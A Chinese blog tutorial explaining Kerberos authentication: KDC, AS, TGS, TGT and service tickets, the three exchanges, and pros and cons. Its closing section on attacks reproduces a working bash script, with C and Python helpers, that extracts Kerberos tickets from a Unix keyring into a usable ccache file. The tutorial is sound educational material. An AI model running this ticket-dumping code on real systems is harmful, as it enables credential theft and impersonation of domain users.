kerberos 入门篇

文章最后更新时间为:2020年10月15日 20:00:50

1.概述

Kerberos源自古希腊神话中的三头狗,是一种计算机网络授权协议,用来在非安全网络中,向另一个实体以一种安全的方式证明自己的身份。

Kerberos协议基于对称密码学,并需要一个值得信赖的第三方。

基本上,Kerberos可以归结为:

  • 一种认证协议
  • 使用票证进行身份验证
  • 避免将密码存储在本地或通过互联网发送
  • 涉及受信任的第三方
  • 基于对称密钥密码学

2.基本概念

在Kerberos协议中主要是有三个角色的存在:

  • 访问服务的Client
  • 提供服务的Server
  • KDC(Key Distribution Center)密钥分发中心

其中KDC服务默认会安装在一个域的域控中,而Client和Server为域内的用户或者是服务,如HTTP服务,SQL服务。在Kerberos中Client是否有权限访问Server端的服务由KDC发放的票据来决定。

由上图中可以看到KDC又分为两个部分:

  • AS(Authentication Server)= 认证服务器
  • TGS(Ticket Granting Server)= 票据授权服务器

如果把Kerberos中的票据类比为一张火车票,那么Client端就是乘客,Server端就是火车,而KDC就是就是车站的认证系统。如果Client端的票据是合法的(由你本人身份证购买并由你本人持有)同时有访问Server端服务的权限(车票对应车次正确)那么你才能上车。当然和火车票不一样的是Kerberos中有存在两张票,而火车票从头到尾只有一张:

在验证过程中涉及到的两张票分别是:

  • TGT(Ticket Granting Ticket)= 票据授权票据
  • ST(Service Ticket)= 服务票据

下面还有些常会用到的概念:

  • realms: 包含 KDC 和许多客户端的 Kerberos 网络,类似于域,俗称为领域。
  • Principal:Kerberos principal(又称为主体)用于在kerberos加密系统中标记一个唯一的身份。主体可以是用户(如joe)或服务(如namenode或hive)。
  • keytab:keytab 是包含 principals 和加密 principal key 的文件,可以访问 keytab 文件即可以以 principal 的身份通过 kerberos 的认证。

其他要点:

  • 每次请求,client都会收到两条消息。一个可以解密,另一个不能解密。
  • server不会直接与KDC通信。
  • KDC将用户计算机和服务的密钥存储在其数据库中。密钥是密码加上盐经过哈希处理后的,对于服务或主机,没有密码,只有密钥(管理员创建时生成的)。
  • KDC本身使用主密钥加密,这增加了从数据库窃取密钥的难度。
  • 有一些使用公钥加密而不是对称密钥加密的Kerberos 配置和实现。

3.验证过程

当Client想要访问Server上的某个服务(这里假设是http服务)时,需要先向AS证明自己的身份,然后通过AS发放的TGT向Server发起认证请求,这个过程分为三块:

1.The Authentication Service Exchange:Client与AS的交互

2.The Ticket-Granting Service (TGS) Exchange:Client与TGS的交互

3.The Client/Server Authentication Exchange:Client与Server的交互

3.1 The Authentication Service Exchange

1.Client→AS

client通过明文发给AS请求TGT,包括Name/ID、服务ID、网络地址、合法TGT的请求生命周期等

2.AS-> Client:

AS仅仅检查是否用户是否存在于KDC数据库,无需密码。检查通过后发送KRB_AS_REP给Client,包括:

  • TGS session key:client密钥加密的TGS会话密钥,包括

    • Client name/ID;
    • TGS name/ID,即ticket服务器也自报家门;
    • 时间戳;
    • Client的网络地址;
    • TGT生命周期,即ticket的生命周期;
  • TGS session Key,即会话密钥。

    • TGT:用TGS的密钥加密的ticket,包括
    • TGS name/ID;
    • Timestamp;
    • 生命周期;
    • TGS session key;

TGS session key就是client和TGS之间的共享密钥。

3.client

通过提示client输入密码,再加上一个随机串,最后对整个进行哈希得到Client 密钥。可以用该密钥解密TGS发送过来的TGS session key,以获取TGS 会话密钥。显然,如果密码错误,client 将无法解密该条消息。实际上是完成了对client password的隐性验证。

3.2 The Ticket-Granting Service (TGS) Exchange

此时,client拥有TGS session key,但是没有TGS密钥。

1.Client →TGS

client发送给TGS两个消息:

  • 第一条消息为Authenticator 准备,用TGS session key加密如下信息:
    Client name/ID + timestamp
  • 第二条消息是明文,包含请求的HTTP服务名称和HTTP服务的ticket生命周期和TGT。

2.TGS-> Client

TGS收到这两个消息后,首先检查KDC数据库中是否存在所请求的服务。如果存在,TGS用TGS密钥解密TGT。因为解密后的TGT包含TGS session key,因此TGS可以解密client所发送的Authenticator。

然后TGS比较Authenticator和TGT中的时间戳查看TGT是否过期,clientid是否一致......等一系列验证。

验证成功后,TGS向client发送两条信息:

第一条是Service Ticket;service ticket由Service Secret Key加密,包含如下信息:

  • Client name/ID;
  • 服务name/ID;
  • Client的网络地址;
  • 时间戳;
  • Ticket的生命周期;
  • 服务session key;

第二条是由TGS session key加密的service Session Key:

  • 服务name/ID;
  • 时间戳;
  • Ticket的生命周期;
  • 服务session key。

Client利用cached的TGS session key解密第二条消息,以获取serivce session key。而无法解密第一条消息,因为其没有Service Secret Key。

3.3 The Client/Server Authentication Exchange

1.Client →Server

为了访问server上面的service,client准备了另外的经过serivce session key加密的Authenticator消息,包括:

  • Client name/ID;
  • 时间戳。

client发送上述Authenticator和未解密的Service Ticket

2.Server-> Client

server通过自己的Service Secret Key解密Service Ticket,再用service session key解密Authenticator:

server也要做以下校验:

  • 比较service ticket和Authenticator中clientid
  • 比较service ticket和Authenticator中的时间戳
  • ...

如果通过校验,server发送一条由service session key加密的Authenticator消息,该消息包含其服务ID及时间戳。

  1. client -> server

Client收到server发送的Authenticator消息,用cache的service session key解密,由此接收到一条service ID和时间戳的明文信息。

此时client已经验证通过使用HTTP服务,将来的请求利用cached的Service Ticket,前提是在定义的生命周期内。

4.优缺点

优点

1.性能较高

一旦Client获得用过访问某个Server的Ticket,该Server就能根据这个Ticket实现对Client的验证,而无须KDC的再次参与。和传统的基于Windows NT 4.0的每个完全依赖Trusted Third Party的NTLM比较,具有较大的性能提升。

2.实现了双向验证

传统的NTLM认证基于这样一个前提:Client访问的远程的Service是可信的、无需对于进行验证,所以NTLM不曾提供双向验证的功能。这显然有点理想主义,为此Kerberos弥补了这个不足:Client在访问Server的资源之前,可以要求对Server的身份执行认证。

缺点

  • 依赖单点:它需要kerberos服务器的持续响应。
  • 管理协议并没有标准化,在服务器实现工具中有一些差别。
  • 因为所有用户使用的密钥都存储于Kerberos服务器中,有安全威胁。
  • 客户端上的票据可以被该客户端其他用户窃取。

5. FAQ

1.怎么实现在不安全的网络中也可以使用
回到Kerberos的设计初衷:允许某实体在非安全网络环境下通信,向另一个实体以一种安全的方式证明自己的身份,所以kerberos在理论上是非常安全的。

2.怎么实现server&client双向认证

  • server验证client:

client去请求AS时,AS使用client的密钥去加密了TGS session key,如果该client是伪造的,那就不能解密出TGS session key,也就不能继续后续的操作。

  • client验证server:

client发送ST给server时,使用了service session key去加密了client id、时间戳等。如果server是假冒的,那么就不能解密出client id,也就不能继续后续的操作。

  1. ST存在的意义是什么,

TGT是Kerberos客户端向KDC证明其身份以获取ST的机制,而ST是Kerberos客户端向目标资源(应用程序服务器)证明其身份的机制。应用程序服务器不验证Kerberos客户端的TGT,它们验证ST。 

6. 攻击kerberos

6.1 身份窃取

当keberos凭证被存储在文件中时,可以直接窃取到凭证

当keberos凭证被存储在Unix Keyring时,可以使用https://github.com/TarlogicSecurity/tickey工具导出

或者使用https://www.delaat.net/rp/2016-2017/p97/report.pdf中给出的脚本

#!/bin/bash
ccache=$(grep -F 'default_ccache_name' /etc/krb5.conf | grep -v '#' | cut -d'=' -f2 | xargs)
ccache_type=$(echo $ccache | cut -d':' -f1)
if [[ ${ccache} == "" ]]; then
    echo "Look for /tmp/krb5cc_$(id -u)"
    exit
fi
     
if [[ ${ccache_type} == "DIR" ]]; then
    location=$(echo ${ccache} | cut -d':' -f2)
    echo "Look in ${location}"
    exit 2
fi
     
if [[ ${ccache_type} == "MEMORY" ]]; then
    echo "You're gonna have to do some memory analysis..."
    exit 3
fi
 
if [[ ${ccache_type} == "KEYRING" ]]; then
    keyring_type=$(echo ${ccache} | cut -d':' -f2)
fi
 
keyring_name=$(echo ${ccache} | cut -d':' -f3)
# Handle named keyring
if [[ "$keyring_name" == "" ]]; then
    keyring_name="$keyring_type"
fi
 
# Persistent keyring is approached differently
if [[ "${keyring_type}" == "persistent" ]]; then
    # Attach persistent for UID to our session keyring
    keyctl get_persistent @s "$(id -u)" > /dev/null
    keyring=$(keyctl search @s keyring "$(id -u)")
else
# Get named keyring
    keyring=$(keyctl search @s "keyring" "${keyring_name}")
    # Check £? here: no keyring (no credentials found in keyring)
fi
 
key_components=( $(keyctl rlist ${keyring}) )
 
tmp_dir=$(mktemp -d)
for i in ${!key_components[@]}; do
    SPN="$(keyctl rdescribe ${key_components[${i}]} | rev | cut -d';' -f1 | rev)"
    # We don't care about the configuration entries
    if [[ ! "${SPN}" =~ "X-CACHECONF" ]]; then
    # / is illegal in a filename
        safe_name=$(echo ${SPN} | tr '/' '_')
        keyctl pipe "${key_components[${i}]}" > "${tmp_dir}/${safe_name}.bin"
    fi
done
 
cat ccache_header_data > krb5cc_$(id -u)
 
cat ${tmp_dir}/__krb5_princ__.bin >> krb5cc_$(id -u)
 
find ${tmp_dir} -name "*krbtgt*" -exec cat {} \; >> krb5cc_$(id -u)
 
rm -rf ${tmp_dir}
 
echo "Ticket written to krb5cc_$(id -u)"
 
exit 0

其中ccache_header_data是可以构造出来的

# generate_file_ccache_header.c
#include <stdio.h>
#include <inttypes.h>
#include <endian.h>
 
int main(void)
{
    FILE* fp = fopen("ccache_header_data", "wb");
    if (fp == NULL) {
        fprintf(stderr, "Error opening file\n");
        return 1;
    }
 
    /* write preamble */
    uint8_t maj_version = 5;
    uint8_t min_version = 4;
    fwrite(&maj_version, sizeof(uint8_t), 1, fp);
    fwrite(&min_version, sizeof(uint8_t), 1, fp);
 
    /* write header */
    uint16_t total_header_len = htobe16(12);
    uint16_t field_tag = htobe16(1);
    uint16_t field_length = htobe16(8);
    uint32_t seconds_offset = htobe32(4);
    uint32_t microseconds_offset = htobe32(32);
    fwrite(&total_header_len, sizeof(uint16_t), 1, fp);
    fwrite(&field_tag, sizeof(uint16_t), 1, fp);
    fwrite(&field_length, sizeof(uint16_t), 1, fp);
    fwrite(&seconds_offset, sizeof(uint32_t), 1, fp);
    fwrite(µseconds_offset, sizeof(uint32_t), 1, fp);
 
    fclose(fp);
 
    return 0;
}
 
或者python:
 
# generate_file_ccache_header.py
import binascii
header = "0504000c000100080000000400000020"
f = open("ccache_header_data",'wb')
f.write(binascii.a2b_hex(header))
f.close()

参考

1 + 2 =
2 评论
    666 Chrome 93 Windows 10
    2021年09月22日 回复

    666

    惠州注册公司 Firefox Browser 79 Windows 10
    2020年11月04日 回复

    又发现一个好站,收藏了~以后会经常光顾的 (。•ˇ‸ˇ•。)